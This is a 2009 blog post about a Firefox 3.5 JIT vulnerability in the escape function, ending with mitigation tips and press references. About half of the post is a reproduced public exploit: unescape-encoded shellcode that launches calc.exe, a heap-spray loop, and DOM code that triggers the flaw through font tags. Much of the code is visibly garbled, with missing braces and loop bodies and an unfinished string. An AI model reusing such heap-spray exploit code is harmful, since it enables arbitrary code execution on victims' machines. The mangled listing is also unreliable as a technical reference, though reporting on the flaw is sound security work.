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Posts Tagged ‘code

Firefox Javascript Vulnerability

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Once again, Javascript is the source of a new exploit that has been recently discovered on Firefox1. The vulnerability can be exploited by crafting malicious Javascript code on a Firefox 3.5 browser and leads to the execution of arbitrary code on the user’s machine. This is due to a vulnerability in the JIT engine of Firefox and affects machine running a x86, SPARC or arm architectures.

The vulnerability resolves around the return value of the escape function in the JIT engine. It’s exploited using the <font> tag. The code for the exploit is public and can be found at milw0rm. The exploit use a heap spraying technique to execute the shellcode.

<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
Author: SBerry aka Simon Berry-Byrne
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">


<FONT>Loremikdkw  </FONT>
<script language=JavaScript>

/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+   
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
    fullblock += fullblock;
sprayContainer = new Array();
for (i=0; i<600; i++)  
    sprayContainer[i] = fullblock + shellcode;
var searchArray = new Array()
function escapeData(data)
 var i;
 var c;
 var escData='';
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
 return escData;
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
                searchArray[i+1]["str"] = oTags[0].innerHTML;
function GenerateHTML()
    var html = "";
    for (i=1;i<searchArray.length;i++)
        html += escapeData(searchArray[i]["str"])


# [2009-07-13]

A fix should be available soon, but the best solution is always to disable Javascript, although a lot of sites rely on it to operate. Another way is to use the NoScript plug-in, which let you enable and disable scripts easily according to a whitelist/blacklist system.

See also:

Mozilla Firefox Memory Corruption Vulnerability”, Secunia, July 14, 2009, accessed on 2009-07-15

Exploit 9137”, SBerry, July 13, 2009, accessed on 2009-07-15

Stopgap Fix for Critical Firefox 3.5 Security Hole”, Brian Krebs, The Washington Post, July 14, 2009, accessed on 2009-07-15

Critical JavaScript vulnerability in Firefox 3.5”, Mozilla Security Blog, July 14, 2009, accessed on 2009-07-15

1 “Mozilla Foundation tackles Firefox bug”, Nick Farell, The Inquirer, Wednesday, 15, July, 2009, accessed on 2009-07-15


Written by Jonathan Racicot

July 15, 2009 at 3:41 pm